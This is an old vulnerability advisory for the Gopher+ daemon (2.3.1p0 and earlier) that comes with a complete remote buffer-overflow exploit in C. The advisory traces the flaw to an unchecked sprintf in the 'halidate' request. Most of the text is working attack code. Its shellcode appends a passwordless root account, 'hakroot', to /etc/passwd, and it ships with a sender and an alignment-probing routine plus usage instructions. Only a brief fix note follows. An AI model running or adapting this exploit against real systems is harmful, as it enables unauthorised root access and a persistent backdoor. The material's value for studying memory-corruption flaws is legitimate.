Gopher2.3.1p0 and below has many overflowable functions in the daemon. Most of them overflow with hardcoded data that gets passed along - making it not possible to change any pointers. The "halidate" function contains an exploitable buffer overflow - exploit code for linux included. Note: This is not related to the other vulnerability, authenticate.c, which has since been patched in 2.3.1p0. 2.3.1p0 is vulnerable to this.
c9a967732b2e2119e924d33a9e324290a5f84f712275f52f3cd713c43b128f87
Gopher2.3.1p0 and below has many overflowable functions in
the daemon. Most of them overflow with hardcoded data that
gets passed along - making it not possible to change any
pointers.
The "halidate" function is not one of those. If sent the
request "halidate <large buffer>" you will overwrite a 512
buffer with around 600 bytes of data, in the eip. (plenty of
room to change the pointer)
Note: This is not related to the other vulnerability,
authenticate.c, which has since been patched in 2.3.1p0.
2.3.1p0 is vulnerable to this.
The operating system is not specific(multi-platform), but i
have made a exploit for linux to exploit this:
/* (linux)Gopher+[v2.3.1p0-]: Daemon remote buffer
overflow.
Findings and exploit by: v9[v9@fakehalo.org].
(vade79)
It is possible to exploit an unchecked sprintf call
in the
"halidate" option in gopherd.c. This exploit will
attempt
to write a line to /etc/passwd. (as a
superuser)
The gopher+ daemon has multiple overflows in
different
functions, but most overwrite the pointer(s) with
hardcoded
data from the program which are limited.
But, the
"halidate" option/call was a little hidden suprise
for me.
When the exploit is sucessfully executed it adds the
line:
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd,
with no
0x0A return, which could cause some problems in
some
situations. You may have to wait till someone on
the box
modifies their /etc/passwd by adding a user or what
not.
Syntax:
[syntax]: ./xgopher <target> [port] [offset]
[alignment].
[syntax]: ./xgopher <target> <[port] [-getalignment]>.
Explaination:
If you don't know what the alignment of the server is,
(which
isn't expected *g*) just type "./xgopher hostname
[port]
-getalignment" and with aligment you're given type
"./xgopher
hostname <port> <offset> <alignment response you are
given>".
Info:
The following segment is from gopherd.c [line
1076/3453]:
("pathname" in the code segment is supplied by the
user)
--------------------------------------------------------------------------------
void
OutputAuthForm(int sockfd, char *pathname, char *host, int
port, CMDprotocol p)
{
char tmpbuf[512];
...
sprintf(tmpbuf,
"<FORM METHOD=\"GET\"
ACTION=\"https://%s:%d/halidate%%20%s\">\r\n",
host, port, pathname);
...
}
--------------------------------------------------------------------------------
Notes:
This exploit requires that the service is running as
root(to
write to /etc/passwd). Even if the gopher+ daemon
displays
itself running as another user, as long as it's
process is
running as root(uid=0) it should exploit successfully.
Do to
the servers local host+port character lengths
changing the
alignment will almost never be the same, I recommend
using
the -getalignment parameter. You can play as much
as you
want on this, the process is forked and won't
crash the
gopher+ daemon with invalid pointers. This was also
tested
effective on the 2.3 version of the gopher+
daemon.
Although this exploit is for linux servers, gopher+
isn't
just built for linux, it is also supported for BSD,
Solaris,
SunOS, HP-UX and other operation
systems.
Fix:
Compile with "./configure --disable-auth" (isn't
disabled by
default) and then recompile gopher or wait for a
patch.
Tests:
Built and tested on slackware 3.6 and slackware 7.0
linux.
(with lots of junk added to my /etc/passwd
*g*)
*/
#define BSIZE 512 // buffer size. (tmpbuf[512]
minus server data)
#define PADDING 150 // ret reps. (host+port
length guessing room)
#define POINTER 0xbffff65c // base pointer in which
offsets are added.
#define DEFAULT_PORT 70 // default gopher+ daemon
port.
#define DEFAULT_OFFSET 0 // default offset. (argument
is added)
#define DEFAULT_ALIGN 0 // alignment. (depends on
host+port length)
#define TIMEOUT 5 // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]= // appends
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88"
"\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd"
"\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a"
"\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";
void timeout(){printf("[timeout]: Connection
timeout(%d).\n",TIMEOUT);quit(-1);}
int main(int argc,char **argv){
char bof[BSIZE];
int i,sock,port,offset,align,ga=0;
long ret=DEFAULT_OFFSET;
struct hostent *t;
struct sockaddr_in s;
printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer
overflow, by: v9[v9@fake"
"halo.org].\n");
if(argc<2){
printf("[syntax]: %s <target> [port] [offset]
[alignment].\n",argv[0]);
printf("[syntax]: %s <target> <[port]
[-getalignment]>.\n",argv[0]);
quit(0);
}
if(argc>2){
if(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;}
else{port=atoi(argv[2]);}
}
else{port=DEFAULT_PORT;}
if(argc>3){
if(!strcmp(argv[3],"-getalignment")){ga=1;}
else{offset=atoi(argv[3]);}
}
else{offset=DEFAULT_OFFSET;}
if(argc>4){
if(atoi(argv[4])<0||atoi(argv[4])>3){
printf("[ignored]: Invalid alignment, using default
alignment. (0-3)\n");
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[4]);}
}
else{align=DEFAULT_ALIGN;}
if(ga){getalignment(argv[1],port);}
else{
ret=(POINTER+offset);
printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size:
%d, Padding: %d.\n"
,ret,offset,align,BSIZE,PADDING);
for(i=align;i<BSIZE;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(BSIZE-strlen(exec)-PADDING);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
memcpy(bof,"halidate ",9);
bof[BSIZE]='\0';
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(t=gethostbyname(argv[1]))){
printf("[error]: Couldn't resolve. (%s)\n",argv[1]);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port
%d.\n",argv[1],port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)\n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully.
(port=%d)\n",port);
printf("[data]: Sending buffer(%d) to
server.\n",strlen(bof));
write(sock,bof,strlen(bof));
usleep(500000);
printf("[data]: Closing socket.\n");
close(sock);
}
quit(0);
}
int getalignment(char *target,int port){
char buf[1024];
int i,j,si,sock,math;
struct hostent *t;
struct sockaddr_in s;
if(s.sin_addr.s_addr=inet_addr(target)){
if(!(t=gethostbyname(target))){
printf("[error]: Couldn't resolve. (%s)\n",target);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port
%d.\n",target,port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)\n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully. (port=%d)\n",port);
alarm(TIMEOUT);
write(sock,"halidate \n",10);
for(i=0;i<2;i++){if(!read(sock,buf,1024)){si++;}}
i=0;while(buf[i]&&!(buf[i]==0x4E)){i++;}
j=0;while(buf[j]&&!(buf[j]==0x25)){j++;}
usleep(500000);
printf("[data]: Closing socket.\n");
close(sock);
if(!si||i>=j||strlen(buf)<64){
printf("[error]: Too minimal or invalid data recieved to
calculate. (try agai"
"n?)\n");
quit(-1);
}
else{
math=(i-j-2);
while(math<0){math+=4;}
printf("[data]: Alignment calculation: %d.\n",math);
}
}
int quit(int i){
if(i){
printf("[exit]: Dirty exit.\n");
exit(0);
}
else{
printf("[exit]: Clean exit.\n");
exit(-1);
}
}